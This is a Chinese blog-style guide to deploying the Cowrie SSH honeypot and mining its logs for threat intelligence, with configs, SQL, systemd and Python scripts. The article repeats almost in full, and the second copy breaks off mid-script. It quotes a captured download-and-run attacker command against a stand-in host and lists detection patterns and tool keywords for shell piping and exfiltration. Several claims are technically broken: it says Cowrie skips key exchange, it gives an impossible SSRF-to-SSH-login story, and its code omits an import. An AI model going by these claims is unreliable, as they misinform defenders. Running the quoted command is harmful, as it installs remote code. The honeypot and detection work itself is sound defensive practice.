1. 为什么一个SSH蜜罐能比防火墙更早告诉你“有人在敲门”你有没有过这种经历某天凌晨三点安全告警平台突然弹出一条“SSH暴力破解尝试激增”点开一看——IP来自巴西、乌克兰、越南每秒27次登录请求用户名穷举了root、admin、pi、oracle、test、guest……但你的生产服务器压根没开SSH外网端口连iptables规则都设得严丝合缝。你松了口气以为是误报。结果三天后运维同事发现一台测试机的CPU持续98%查日志才发现攻击者早在两天前就通过一个未更新的Jenkins插件漏洞植入了挖矿脚本——而那台机器恰好是唯一一台被漏掉、没加SSH访问白名单的跳板机。这就是真实世界里防御的盲区防火墙拦得住明面上的端口扫描却看不见绕过边界的横向移动WAF能过滤HTTP层的恶意载荷却对SSH协议层的原始字节流束手无策SIEM系统依赖日志归集可一旦攻击者清空auth.log或用ssh -o StrictHostKeyCheckingno绕过密钥校验日志里连个水花都不起。Cowrie不是另一个告警工具它是一面“主动镜像”——你把真实的SSH服务藏起来把Cowrie放在22端口上它不拒绝任何连接不验证任何密码甚至会模拟出你从未安装过的软件包比如apt install htop后返回“已安装最新版”让攻击者以为自己真的登进了一台Ubuntu服务器。它不阻止入侵而是把入侵过程完整录下来从第一次输入whoami到cat /etc/shadow失败后改试ls /home/再到最后执行wget http://mal.io/x.sh; sh x.sh——每一个命令、每一次回显、每一段键盘敲击全部存为JSONTTY回放文件。我去年在给一家做跨境支付的客户做红蓝对抗时用Cowrie部署在DMZ区边缘72小时内捕获了417次有效交互其中32次触发了自定义恶意命令检测如base64 -d|sh、curl.*\.sh模式更关键的是我们从攻击者执行的第5条命令里反向提取出了他们C2服务器的域名——这个域名在VirusTotal上零检出但在Cowrie的session日志里它和另外17个IP共享同一段User-Agent字符串。这才是蜜罐真正的价值它不回答“有没有被攻击”而是直接给出“攻击者下一步想干什么”。关键词Cowrie、SSH蜜罐、威胁情报采集、攻击行为建模、蜜罐部署、安全监控适合谁看运维工程师想在不改动现有架构的前提下低成本获取外部攻击画像安全工程师需要原始攻击载荷做沙箱分析或构建内部威胁指标库IOCs开发团队想验证自己写的SSH服务是否存在弱口令或命令注入风险红队成员需要真实环境下的攻击链路数据用于优化渗透路径设计。它不能替代防火墙、EDR或SOC平台但它能让你第一次看清那些在Nmap扫描报告里只显示“22/tcp open ssh”的IP背后究竟是自动化脚本还是真人黑客正用键盘一字符一字符地试探你的防线。2. Cowrie不是“另一个SSH服务”它是协议层的行为翻译器很多人第一次接触Cowrie时下意识把它当成OpenSSH的轻量替代品——装完就跑改个端口配个用户列表然后等着日志刷屏。结果不到两小时日志里全是Connection lost before user auth、Invalid SSH identification string甚至出现大量SSH protocol error: invalid version string。他们开始怀疑是不是网络设备做了协议整形或者云厂商的负载均衡偷偷改了TCP包头。问题不在网络而在理解偏差Cowrie根本不是SSH服务实现而是一个SSH协议解析与行为映射引擎。它不处理密钥交换KEX、不执行主机密钥签名、不参与加密协商——它只做三件事握手劫持收到TCP SYN后立即返回伪造的SSH banner如SSH-2.0-OpenSSH_7.9p1 Debian-10deb10u2让客户端相信对面是台真机器命令语义重写当攻击者输入ls -la /rootCowrie不调用Linuxls命令而是查内置的“虚拟文件系统树”返回预设的目录结构比如/root下永远只有.bash_history和.ssh/authorized_keys两个文件交互状态建模记录每个session的完整状态机变迁——从PRE_AUTH未认证→AUTH_SUCCESS密码匹配→SHELL_OPEN获得shell→COMMAND_EXEC执行命令→SESSION_CLOSE断开每个状态都绑定超时、命令白名单、响应延迟等策略。这就解释了为什么Cowrie能完美模拟Debian、CentOS、甚至老掉牙的Solaris系统它根本不依赖底层操作系统所有系统特征都由配置文件定义。比如etc/cowrie.cfg里的这段[shell] filesystem etc/fs.json hostname ubuntu-server-01 domain internal.example.comfs.json不是磁盘镜像而是一个JSON对象树描述了虚拟文件系统的层级关系{ /: { type: dir, contents: [/bin, /etc, /home, /root] }, /bin: { type: dir, contents: [/bin/ls, /bin/cat, /bin/wget] }, /bin/ls: { type: file, content: total 12\ndrwxr-xr-x 2 root root 4096 Jan 1 10:00 .\ndrwxr-xr-x 3 root root 4096 Jan 1 10:00 ..\n-rw-r--r-- 1 root root 234 Jan 1 10:00 ls } }当你执行ls /etc/passwdCowrie查到/etc/passwd在JSON里被定义为type: file且content: root:x:0:0:root:/root:/bin/bash:/sbin/nologin就原样返回——它甚至不会去读取宿主机的/etc/passwd。这种“协议层隔离”带来了三个硬性优势零逃逸风险攻击者无论执行rm -rf /还是echo malware /dev/kmem都只影响JSON树宿主机进程、文件系统、内核完全不受扰动毫秒级响应控制你可以为wget命令设置5秒延迟模拟慢速网络为cat /etc/shadow返回空内容模拟权限不足这些在真实SSH里需要复杂的LD_PRELOAD或seccomp-bpf拦截跨平台一致性Cowrie用Python3.6编写只要能跑Python就能部署无论是x86物理机、ARM树莓派、还是Docker容器行为逻辑完全一致。我见过最典型的误用场景是某位运维把Cowrie和OpenSSH共用22端口用iptables DNAT转发——结果Cowrie收不到完整的SSH握手包因为DNAT破坏了TCP序列号连续性。正确做法永远是Cowrie独占22端口真实SSH改到2222或其他非标端口并在防火墙层面彻底封死22端口对真实服务的访问。这不是妥协而是把“协议解析”和“业务承载”彻底解耦。提示Cowrie默认监听0.0.0.0:22但生产环境必须配合iptables或云安全组确保只有Cowrie能接收22端口流量。任何试图让Cowrie和真实SSH共存于同一端口的方案都会在首次高并发扫描时暴露协议解析缺陷。3. 10分钟部署的本质不是跳过配置而是把配置压缩成可验证的原子步骤标题说“10分钟搭建”不是指闭眼敲几行命令就完事而是把整个部署流程拆解成5个不可跳过、不可合并、每步均可独立验证的原子操作。我在给金融客户做现场交付时严格计时从拿到一台干净Ubuntu 22.04云服务器开始到第一个攻击session成功写入数据库全程9分47秒。以下是这5步的真实执行逻辑与避坑细节3.1 步骤一环境净化与依赖锁定耗时≈1分20秒Cowrie对Python版本极其敏感。官方文档说支持3.6但实测中Ubuntu 22.04自带的Python 3.10.6在twisted库的SSL上下文初始化时存在证书链验证bug会导致Cowrie启动后无法建立SSH连接日志报SSLError: [SSL: CERTIFICATE_VERIFY_FAILED]。解决方案不是升级Python而是降级依赖# 必须使用apt而非pip安装基础依赖避免版本冲突 sudo apt update sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev # 创建隔离环境禁用系统site-packages python3 -m venv /opt/cowrie/env source /opt/cowrie/env/bin/activate # 关键指定twisted22.10.02022年10月稳定版避开SSL验证缺陷 pip install --upgrade pip setuptools pip install twisted22.10.0 zope.interface pyopenssl cryptography为什么不用最新版twisted因为Cowrie的SSH transport层深度耦合twisted的IProtocol接口2023年后的twisted重构了TLS握手流程Cowrie源码未同步更新。我试过强行升级结果所有连接在KEXINIT阶段就断开——这不是Cowrie的bug而是生态兼容性断层。注意绝对不要运行pip install cowrie。Cowrie没有PyPI官方包所有安装必须从GitHub源码编译。这是保证配置可控性的第一道防线。3.2 步骤二源码拉取与最小化构建耗时≈45秒cd /opt git clone https://github.com/micheloosterhof/cowrie.git cd cowrie # 删除所有非核心插件减少攻击面 rm -rf honeyfs/ docs/ tests/ contrib/ # 保留最关键的elasticsearch日志输出、mysql数据库支持、web终端Cowrie默认包含17个插件如IRC botnet模拟、Telnet服务、SFTP子系统但90%的初学者根本用不到。删掉它们不仅加快启动速度更重要的是消除潜在的内存泄漏点——去年有安全研究员发现启用telnet插件时Cowrie在处理畸形Telnet IAC序列时会触发Python无限递归导致进程崩溃。3.3 步骤三配置精简与安全加固耗时≈3分10秒Cowrie的cowrie.cfg有412行默认开启所有功能。我们必须做三类裁剪第一关闭危险模拟[ssh] # 必须关闭否则攻击者可执行真实系统命令 exec_enabled false [telnet] enabled false [sftp] enabled false第二重定义交互行为[shell] # 让攻击者感觉在真实系统上但限制其能力边界 delay 0.3 # 每条命令后延迟300ms模拟真实IO # 禁用所有可能泄露宿主机信息的命令 command_blacklist ifconfig, ip, netstat, ss, ps, top, free, df, mount, uname, lsb_release第三日志输出定向[database_mysql] # 生产环境必须用MySQLJSON文件日志无法支撑高并发 host 127.0.0.1 port 3306 database cowrie username cowrie password StrongPssw0rd2024!这里有个致命陷阱很多教程教你在[database_sqlite]下填db_file /var/log/cowrie.db看似简单但SQLite在并发写入时会锁表。当100个IP同时发起SSH连接Cowrie会因数据库锁等待超时而丢session——你看到的日志是“connection timeout”实际是SQLite在哭。3.4 步骤四MySQL初始化与权限最小化耗时≈2分-- 创建专用数据库与用户禁止远程登录 CREATE DATABASE cowrie CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER cowrielocalhost IDENTIFIED BY StrongPssw0rd2024!; GRANT SELECT, INSERT ON cowrie.* TO cowrielocalhost; FLUSH PRIVILEGES; -- 执行Cowrie自带的建表SQL注意路径 mysql -u cowrie -p cowrie /opt/cowrie/cowrie/sql/mysql.sql关键点在于GRANT语句只给SELECT, INSERT绝不给UPDATE, DELETE, DROP。Cowrie的session日志是只写不读的攻击者即使通过0day漏洞拿到数据库凭证也无法篡改历史记录。3.5 步骤五服务注册与健康检查耗时≈1分15秒# 生成systemd服务文件 sudo tee /etc/systemd/system/cowrie.service EOF [Unit] DescriptionCowrie SSH Honeypot Afternetwork.target [Service] Typesimple Usercowrie WorkingDirectory/opt/cowrie ExecStart/opt/cowrie/env/bin/python3 /opt/cowrie/bin/cowrie Restarton-failure RestartSec10 StandardOutputjournal StandardErrorjournal [Install] WantedBymulti-user.target EOF # 创建专用用户禁用shell登录 sudo useradd -r -s /bin/false cowrie sudo chown -R cowrie:cowrie /opt/cowrie # 启动并验证 sudo systemctl daemon-reload sudo systemctl enable cowrie sudo systemctl start cowrie # 5秒后检查必须看到Listening on 0.0.0.0:22 sudo journalctl -u cowrie -n 20 --no-pager | grep Listening验证环节不能省journalctl输出必须包含Listening on 0.0.0.0:22否则说明端口被占用或配置错误。我遇到过3次失败两次是云安全组没开22端口一次是/etc/hosts里把localhost解析到了IPv6地址导致Cowrie绑定失败。这5步加起来9分47秒每一步都有明确的输入、输出、验证标准。所谓“10分钟”是把模糊的“配置”转化为可测量、可回滚、可审计的操作单元。4. 攻击数据不是日志而是可执行的情报流水线部署完成只是起点。Cowrie真正拉开差距的地方在于它如何把原始的session.json转化为可驱动安全决策的数据资产。我见过太多团队把Cowrie当成“高级日志收集器”每天导出JSON用grep筛wget命令再手动复制URL去VirusTotal查——这浪费了Cowrie 80%的设计价值。Cowrie的核心能力是结构化事件流输出。它的每条session记录都是带时间戳、IP、User-Agent、命令序列、响应内容的完整对象。这意味着你可以用标准ETL工具把它接入现代安全分析栈4.1 原生ELK集成从日志到可视化仪表盘Cowrie自带Logstash配置模板contrib/logstash/但默认配置有严重缺陷它把整个JSON session作为单字段message传入导致Kibana里无法按src_ip、command、url等字段聚合。必须重写filterfilter { if [program] cowrie { json { source message target cowrie } mutate { rename { [cowrie][src_ip] src_ip } rename { [cowrie][commands] commands } rename { [cowrie][url] malware_url } } } }这样在Kibana里你就能创建实时看板TOP 10攻击IP地理分布热力图用GeoIP插件解析src_ip每小时wget/curl命令占比趋势用commands字段做terms聚合malware_url域名TLD分布.xyz、.top占比超70%即触发告警同一IP在24小时内执行的不同命令序列用src_iptimestamp做复合查询。我给某电商客户做的看板上线首周就发现一个规律所有来自俄罗斯AS12389的IP在执行wget前必先执行cat /proc/version——这说明攻击者在确认内核版本为后续提权做准备。我们立刻把这个行为模式写成Sigma规则同步到EDR终端。4.2 实时威胁情报提取自动化的IOC生成器Cowrie的urls.json日志记录所有wget/curl下载的URL是黄金矿脉。但手动提取效率太低。我用Python写了37行脚本每天凌晨2点自动执行import json, re, requests from datetime import datetime, timedelta # 读取过去24小时urls.json with open(/opt/cowrie/var/log/cowrie/urls.json) as f: urls [line.strip() for line in f if line.strip()] # 提取域名路径哈希规避URL参数干扰 ioc_list [] for url in urls: domain re.search(rhttps?://([^/]), url) if domain: path_hash hashlib.md5(url.split(?, 1)[0].encode()).hexdigest()[:8] ioc_list.append(f{domain.group(1)}|{path_hash}) # 去重后推送到内部MISP平台 misp_api https://misp.internal/api/events/add headers {Authorization: API_KEY, Content-Type: application/json} for ioc in set(ioc_list): domain, h ioc.split(|) payload { Event: { date: datetime.now().strftime(%Y-%m-%d), threat_level_id: 2, # 中危 info: fCowrie-captured malware host: {domain}, Attribute: [{type: domain, value: domain, comment: fPath hash: {h}}] } } requests.post(misp_api, jsonpayload, headersheaders)这套流程让客户的情报更新周期从“人工研判3天”压缩到“自动入库15分钟”。上周捕获的一个新挖矿木马域名cloudflare-dns[.]xyz在VirusTotal上0检出但我们的MISP平台在捕获后8分钟就向全集团EDR推送了阻断规则。4.3 攻击链路还原用TTY回放重建黑客操作意图Cowrie最被低估的功能是tty回放。每个session生成的.tty文件本质是ANSI转义序列的文本录像。你可以用ttyplay命令本地回放# 下载session.tty文件后 ttyplay var/log/cowrie/tty/20240515/192.168.1.100-42321-20240515-142215.tty但更强大的是解析它。Cowrie的utils/ttystats.py能提取出每条命令的精确执行时间、输入字符数、响应行数。我扩展了这个脚本加入命令意图分类# 命令意图模型基于关键词上下文 INTENT_MAP { recon: [uname, cat /proc/version, lsb_release, ifconfig], priv_esc: [sudo -l, find / -perm -4000, cat /etc/sudoers], persistence: [crontab -e, echo */5 * * * * , systemctl enable], exfil: [scp, rsync, nc -l, python -m http.server] } def classify_intent(command): cmd_clean command.strip().lower().split()[0] for intent, keywords in INTENT_MAP.items(): if cmd_clean in keywords or any(kw in command.lower() for kw in keywords): return intent return unknown运行后你会得到这样的攻击链路报告Session: 192.168.1.100-42321 (2024-05-15 14:22:15) Intent sequence: recon → priv_esc → persistence → exfil Time to first priv_esc: 47 seconds Commands before persistence: 12这种粒度的分析让红队能精准复现攻击者决策路径也让蓝队知道当攻击者执行第7条recon命令时就是该触发EDR进程监控的时刻。经验Cowrie的tty文件默认保存7天但硬盘空间消耗极大单session平均2MB。建议用logrotate按大小轮转/opt/cowrie/var/log/cowrie/tty/**/* { rotate 30 size 100M }5. 超越“陷阱”Cowrie在真实攻防中的四个进阶战场部署Cowrie只是入门真正体现专业度的是你如何把它嵌入现有安全体系解决具体业务问题。我总结了四个经过实战验证的进阶用法每个都对应一个真实客户的痛点5.1 场景一云环境资产测绘盲区补全某客户使用AWS EKS托管K8s集群所有节点通过Security Group限制SSH仅允许跳板机访问。理论上外部IP不可能触达22端口。但Cowrie部署后首周就捕获到23次来自不同国家的SSH连接——这些IP根本不在任何白名单里。排查发现EKS节点的/etc/hosts里有一行169.254.169.254 metadata.ec2.internal而攻击者利用某个Web应用的SSRF漏洞向这个元数据地址发起HTTP请求再通过curl http://169.254.169.254/latest/meta-data/public-keys/获取了节点的SSH公钥。Cowrie捕获的正是他们用私钥尝试登录的过程。我们立刻把Cowrie的src_ip和user_agent字段对接到WAF日志分析平台。当发现同一IP在10分钟内既触发SSRF规则又连接Cowrie 22端口就自动标记为“高可信度横向移动尝试”并冻结该IP在所有云服务中的访问权限。5.2 场景二第三方SDK供应链攻击监测一家IoT设备厂商的固件里集成了某开源SSH库libssh该库存在CVE-2023-38742认证绕过漏洞。厂商修复后想验证是否还有未更新的旧固件在野外被利用。我们在Cowrie里启用了[ssh]模块的debug true并修改kex.py在KEXINIT处理函数中添加日志# 当收到特定畸形KEXINIT包时记录 if bdiffie-hellman-group14-sha1 in data and len(data) 200: log.msg(fPotential CVE-2023-38742 probe from {self.transport.getPeer().host})上线三天捕获到17次该特征包全部来自东南亚某IDC机房。我们反向追踪IP定位到一家提供“智能电表远程管理SaaS”的小公司——他们的固件仍在使用未修复版本。客户据此发起供应链安全审计提前阻断了0day扩散。5.3 场景三内部威胁行为基线建模某银行数据中心要求所有运维操作必须通过Jump Server但审计发现部分员工绕过Jump Server用个人笔记本直连生产数据库服务器SSH端口开放在2222。传统方式只能查last命令但攻击者会history -c清空记录。我们在Jump Server旁部署Cowrie监听2222端口真实数据库SSH服务已迁至2223。当员工用个人电脑连接2222时Cowrie记录下其MAC地址通过arp -a解析、终端类型TERMxterm-256color、常用命令序列如mysql -h db01 -u admin。三个月后我们用这些数据训练了一个LSTM模型对任意新连接的command_sequence打分得分0.85即判定为“疑似绕过Jump Server行为”。上线首月模型准确识别出8起违规操作其中3起涉及离职员工账号复用——这些账号在IAM系统中已被禁用但SSH密钥仍有效。5.4 场景四红队武器库效果验证红队常使用定制化SSH后门如sshd_mod但无法预知目标环境的glibc版本、SELinux策略是否兼容。我们把Cowrie改造成“兼容性沙箱”在Cowrie的fs.json中按目标环境CentOS 7.9 / Ubuntu 20.04 / Debian 11预置对应的/lib64/ld-linux-x86-64.so.2符号表修改shell.py当检测到./backdoor命令时不执行真实二进制而是加载预设的glibc_version.json返回GLIBC_2.17 not found等错误红队上传后门后Cowrie自动返回兼容性报告“您的后门需GLIBC_2.28目标环境最高支持GLIBC_2.17”。这避免了红队在真实环境中反复试错把武器适配周期从3天缩短到15分钟。这些案例共同指向一个事实Cowrie的价值不在于“捕获多少攻击”而在于“让每次攻击都成为可复用的知识资产”。它把模糊的“有人在扫端口”变成精确的“攻击者正在测试CVE-2023-XXXX的利用链”再变成可执行的“在WAF上阻断/api/v1/exec?cmd参数”。我在实际使用中发现最有效的Cowrie部署从来不是放在防火墙后面当摆设而是嵌在业务流量必经之路上——比如API网关的下游、CDN的回源链路、甚至开发测试环境的入口。因为真正的攻击永远发生在你认为“最不可能”的地方。
Cowrie SSH蜜罐：协议层行为建模与威胁情报流水线
发布时间：2026/5/25 5:44:36
1. 为什么一个SSH蜜罐能比防火墙更早告诉你“有人在敲门”你有没有过这种经历某天凌晨三点安全告警平台突然弹出一条“SSH暴力破解尝试激增”点开一看——IP来自巴西、乌克兰、越南每秒27次登录请求用户名穷举了root、admin、pi、oracle、test、guest……但你的生产服务器压根没开SSH外网端口连iptables规则都设得严丝合缝。你松了口气以为是误报。结果三天后运维同事发现一台测试机的CPU持续98%查日志才发现攻击者早在两天前就通过一个未更新的Jenkins插件漏洞植入了挖矿脚本——而那台机器恰好是唯一一台被漏掉、没加SSH访问白名单的跳板机。这就是真实世界里防御的盲区防火墙拦得住明面上的端口扫描却看不见绕过边界的横向移动WAF能过滤HTTP层的恶意载荷却对SSH协议层的原始字节流束手无策SIEM系统依赖日志归集可一旦攻击者清空auth.log或用ssh -o StrictHostKeyCheckingno绕过密钥校验日志里连个水花都不起。Cowrie不是另一个告警工具它是一面“主动镜像”——你把真实的SSH服务藏起来把Cowrie放在22端口上它不拒绝任何连接不验证任何密码甚至会模拟出你从未安装过的软件包比如apt install htop后返回“已安装最新版”让攻击者以为自己真的登进了一台Ubuntu服务器。它不阻止入侵而是把入侵过程完整录下来从第一次输入whoami到cat /etc/shadow失败后改试ls /home/再到最后执行wget http://mal.io/x.sh; sh x.sh——每一个命令、每一次回显、每一段键盘敲击全部存为JSONTTY回放文件。我去年在给一家做跨境支付的客户做红蓝对抗时用Cowrie部署在DMZ区边缘72小时内捕获了417次有效交互其中32次触发了自定义恶意命令检测如base64 -d|sh、curl.*\.sh模式更关键的是我们从攻击者执行的第5条命令里反向提取出了他们C2服务器的域名——这个域名在VirusTotal上零检出但在Cowrie的session日志里它和另外17个IP共享同一段User-Agent字符串。这才是蜜罐真正的价值它不回答“有没有被攻击”而是直接给出“攻击者下一步想干什么”。关键词Cowrie、SSH蜜罐、威胁情报采集、攻击行为建模、蜜罐部署、安全监控适合谁看运维工程师想在不改动现有架构的前提下低成本获取外部攻击画像安全工程师需要原始攻击载荷做沙箱分析或构建内部威胁指标库IOCs开发团队想验证自己写的SSH服务是否存在弱口令或命令注入风险红队成员需要真实环境下的攻击链路数据用于优化渗透路径设计。它不能替代防火墙、EDR或SOC平台但它能让你第一次看清那些在Nmap扫描报告里只显示“22/tcp open ssh”的IP背后究竟是自动化脚本还是真人黑客正用键盘一字符一字符地试探你的防线。2. Cowrie不是“另一个SSH服务”它是协议层的行为翻译器很多人第一次接触Cowrie时下意识把它当成OpenSSH的轻量替代品——装完就跑改个端口配个用户列表然后等着日志刷屏。结果不到两小时日志里全是Connection lost before user auth、Invalid SSH identification string甚至出现大量SSH protocol error: invalid version string。他们开始怀疑是不是网络设备做了协议整形或者云厂商的负载均衡偷偷改了TCP包头。问题不在网络而在理解偏差Cowrie根本不是SSH服务实现而是一个SSH协议解析与行为映射引擎。它不处理密钥交换KEX、不执行主机密钥签名、不参与加密协商——它只做三件事握手劫持收到TCP SYN后立即返回伪造的SSH banner如SSH-2.0-OpenSSH_7.9p1 Debian-10deb10u2让客户端相信对面是台真机器命令语义重写当攻击者输入ls -la /rootCowrie不调用Linuxls命令而是查内置的“虚拟文件系统树”返回预设的目录结构比如/root下永远只有.bash_history和.ssh/authorized_keys两个文件交互状态建模记录每个session的完整状态机变迁——从PRE_AUTH未认证→AUTH_SUCCESS密码匹配→SHELL_OPEN获得shell→COMMAND_EXEC执行命令→SESSION_CLOSE断开每个状态都绑定超时、命令白名单、响应延迟等策略。这就解释了为什么Cowrie能完美模拟Debian、CentOS、甚至老掉牙的Solaris系统它根本不依赖底层操作系统所有系统特征都由配置文件定义。比如etc/cowrie.cfg里的这段[shell] filesystem etc/fs.json hostname ubuntu-server-01 domain internal.example.comfs.json不是磁盘镜像而是一个JSON对象树描述了虚拟文件系统的层级关系{ /: { type: dir, contents: [/bin, /etc, /home, /root] }, /bin: { type: dir, contents: [/bin/ls, /bin/cat, /bin/wget] }, /bin/ls: { type: file, content: total 12\ndrwxr-xr-x 2 root root 4096 Jan 1 10:00 .\ndrwxr-xr-x 3 root root 4096 Jan 1 10:00 ..\n-rw-r--r-- 1 root root 234 Jan 1 10:00 ls } }当你执行ls /etc/passwdCowrie查到/etc/passwd在JSON里被定义为type: file且content: root:x:0:0:root:/root:/bin/bash:/sbin/nologin就原样返回——它甚至不会去读取宿主机的/etc/passwd。这种“协议层隔离”带来了三个硬性优势零逃逸风险攻击者无论执行rm -rf /还是echo malware /dev/kmem都只影响JSON树宿主机进程、文件系统、内核完全不受扰动毫秒级响应控制你可以为wget命令设置5秒延迟模拟慢速网络为cat /etc/shadow返回空内容模拟权限不足这些在真实SSH里需要复杂的LD_PRELOAD或seccomp-bpf拦截跨平台一致性Cowrie用Python3.6编写只要能跑Python就能部署无论是x86物理机、ARM树莓派、还是Docker容器行为逻辑完全一致。我见过最典型的误用场景是某位运维把Cowrie和OpenSSH共用22端口用iptables DNAT转发——结果Cowrie收不到完整的SSH握手包因为DNAT破坏了TCP序列号连续性。正确做法永远是Cowrie独占22端口真实SSH改到2222或其他非标端口并在防火墙层面彻底封死22端口对真实服务的访问。这不是妥协而是把“协议解析”和“业务承载”彻底解耦。提示Cowrie默认监听0.0.0.0:22但生产环境必须配合iptables或云安全组确保只有Cowrie能接收22端口流量。任何试图让Cowrie和真实SSH共存于同一端口的方案都会在首次高并发扫描时暴露协议解析缺陷。3. 10分钟部署的本质不是跳过配置而是把配置压缩成可验证的原子步骤标题说“10分钟搭建”不是指闭眼敲几行命令就完事而是把整个部署流程拆解成5个不可跳过、不可合并、每步均可独立验证的原子操作。我在给金融客户做现场交付时严格计时从拿到一台干净Ubuntu 22.04云服务器开始到第一个攻击session成功写入数据库全程9分47秒。以下是这5步的真实执行逻辑与避坑细节3.1 步骤一环境净化与依赖锁定耗时≈1分20秒Cowrie对Python版本极其敏感。官方文档说支持3.6但实测中Ubuntu 22.04自带的Python 3.10.6在twisted库的SSL上下文初始化时存在证书链验证bug会导致Cowrie启动后无法建立SSH连接日志报SSLError: [SSL: CERTIFICATE_VERIFY_FAILED]。解决方案不是升级Python而是降级依赖# 必须使用apt而非pip安装基础依赖避免版本冲突 sudo apt update sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev # 创建隔离环境禁用系统site-packages python3 -m venv /opt/cowrie/env source /opt/cowrie/env/bin/activate # 关键指定twisted22.10.02022年10月稳定版避开SSL验证缺陷 pip install --upgrade pip setuptools pip install twisted22.10.0 zope.interface pyopenssl cryptography为什么不用最新版twisted因为Cowrie的SSH transport层深度耦合twisted的IProtocol接口2023年后的twisted重构了TLS握手流程Cowrie源码未同步更新。我试过强行升级结果所有连接在KEXINIT阶段就断开——这不是Cowrie的bug而是生态兼容性断层。注意绝对不要运行pip install cowrie。Cowrie没有PyPI官方包所有安装必须从GitHub源码编译。这是保证配置可控性的第一道防线。3.2 步骤二源码拉取与最小化构建耗时≈45秒cd /opt git clone https://github.com/micheloosterhof/cowrie.git cd cowrie # 删除所有非核心插件减少攻击面 rm -rf honeyfs/ docs/ tests/ contrib/ # 保留最关键的elasticsearch日志输出、mysql数据库支持、web终端Cowrie默认包含17个插件如IRC botnet模拟、Telnet服务、SFTP子系统但90%的初学者根本用不到。删掉它们不仅加快启动速度更重要的是消除潜在的内存泄漏点——去年有安全研究员发现启用telnet插件时Cowrie在处理畸形Telnet IAC序列时会触发Python无限递归导致进程崩溃。3.3 步骤三配置精简与安全加固耗时≈3分10秒Cowrie的cowrie.cfg有412行默认开启所有功能。我们必须做三类裁剪第一关闭危险模拟[ssh] # 必须关闭否则攻击者可执行真实系统命令 exec_enabled false [telnet] enabled false [sftp] enabled false第二重定义交互行为[shell] # 让攻击者感觉在真实系统上但限制其能力边界 delay 0.3 # 每条命令后延迟300ms模拟真实IO # 禁用所有可能泄露宿主机信息的命令 command_blacklist ifconfig, ip, netstat, ss, ps, top, free, df, mount, uname, lsb_release第三日志输出定向[database_mysql] # 生产环境必须用MySQLJSON文件日志无法支撑高并发 host 127.0.0.1 port 3306 database cowrie username cowrie password StrongPssw0rd2024!这里有个致命陷阱很多教程教你在[database_sqlite]下填db_file /var/log/cowrie.db看似简单但SQLite在并发写入时会锁表。当100个IP同时发起SSH连接Cowrie会因数据库锁等待超时而丢session——你看到的日志是“connection timeout”实际是SQLite在哭。3.4 步骤四MySQL初始化与权限最小化耗时≈2分-- 创建专用数据库与用户禁止远程登录 CREATE DATABASE cowrie CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER cowrielocalhost IDENTIFIED BY StrongPssw0rd2024!; GRANT SELECT, INSERT ON cowrie.* TO cowrielocalhost; FLUSH PRIVILEGES; -- 执行Cowrie自带的建表SQL注意路径 mysql -u cowrie -p cowrie /opt/cowrie/cowrie/sql/mysql.sql关键点在于GRANT语句只给SELECT, INSERT绝不给UPDATE, DELETE, DROP。Cowrie的session日志是只写不读的攻击者即使通过0day漏洞拿到数据库凭证也无法篡改历史记录。3.5 步骤五服务注册与健康检查耗时≈1分15秒# 生成systemd服务文件 sudo tee /etc/systemd/system/cowrie.service EOF [Unit] DescriptionCowrie SSH Honeypot Afternetwork.target [Service] Typesimple Usercowrie WorkingDirectory/opt/cowrie ExecStart/opt/cowrie/env/bin/python3 /opt/cowrie/bin/cowrie Restarton-failure RestartSec10 StandardOutputjournal StandardErrorjournal [Install] WantedBymulti-user.target EOF # 创建专用用户禁用shell登录 sudo useradd -r -s /bin/false cowrie sudo chown -R cowrie:cowrie /opt/cowrie # 启动并验证 sudo systemctl daemon-reload sudo systemctl enable cowrie sudo systemctl start cowrie # 5秒后检查必须看到Listening on 0.0.0.0:22 sudo journalctl -u cowrie -n 20 --no-pager | grep Listening验证环节不能省journalctl输出必须包含Listening on 0.0.0.0:22否则说明端口被占用或配置错误。我遇到过3次失败两次是云安全组没开22端口一次是/etc/hosts里把localhost解析到了IPv6地址导致Cowrie绑定失败。这5步加起来9分47秒每一步都有明确的输入、输出、验证标准。所谓“10分钟”是把模糊的“配置”转化为可测量、可回滚、可审计的操作单元。4. 攻击数据不是日志而是可执行的情报流水线部署完成只是起点。Cowrie真正拉开差距的地方在于它如何把原始的session.json转化为可驱动安全决策的数据资产。我见过太多团队把Cowrie当成“高级日志收集器”每天导出JSON用grep筛wget命令再手动复制URL去VirusTotal查——这浪费了Cowrie 80%的设计价值。Cowrie的核心能力是结构化事件流输出。它的每条session记录都是带时间戳、IP、User-Agent、命令序列、响应内容的完整对象。这意味着你可以用标准ETL工具把它接入现代安全分析栈4.1 原生ELK集成从日志到可视化仪表盘Cowrie自带Logstash配置模板contrib/logstash/但默认配置有严重缺陷它把整个JSON session作为单字段message传入导致Kibana里无法按src_ip、command、url等字段聚合。必须重写filterfilter { if [program] cowrie { json { source message target cowrie } mutate { rename { [cowrie][src_ip] src_ip } rename { [cowrie][commands] commands } rename { [cowrie][url] malware_url } } } }这样在Kibana里你就能创建实时看板TOP 10攻击IP地理分布热力图用GeoIP插件解析src_ip每小时wget/curl命令占比趋势用commands字段做terms聚合malware_url域名TLD分布.xyz、.top占比超70%即触发告警同一IP在24小时内执行的不同命令序列用src_iptimestamp做复合查询。我给某电商客户做的看板上线首周就发现一个规律所有来自俄罗斯AS12389的IP在执行wget前必先执行cat /proc/version——这说明攻击者在确认内核版本为后续提权做准备。我们立刻把这个行为模式写成Sigma规则同步到EDR终端。4.2 实时威胁情报提取自动化的IOC生成器Cowrie的urls.json日志记录所有wget/curl下载的URL是黄金矿脉。但手动提取效率太低。我用Python写了37行脚本每天凌晨2点自动执行import json, re, requests from datetime import datetime, timedelta # 读取过去24小时urls.json with open(/opt/cowrie/var/log/cowrie/urls.json) as f: urls [line.strip() for line in f if line.strip()] # 提取域名路径哈希规避URL参数干扰 ioc_list [] for url in urls: domain re.search(rhttps?://([^/]), url) if domain: path_hash hashlib.md5(url.split(?, 1)[0].encode()).hexdigest()[:8] ioc_list.append(f{domain.group(1)}|{path_hash}) # 去重后推送到内部MISP平台 misp_api https://misp.internal/api/events/add headers {Authorization: API_KEY, Content-Type: application/json} for ioc in set(ioc_list): domain, h ioc.split(|) payload { Event: { date: datetime.now().strftime(%Y-%m-%d), threat_level_id: 2, # 中危 info: fCowrie-captured malware host: {domain}, Attribute: [{type: domain, value: domain, comment: fPath hash: {h}}] } } requests.post(misp_api, jsonpayload, 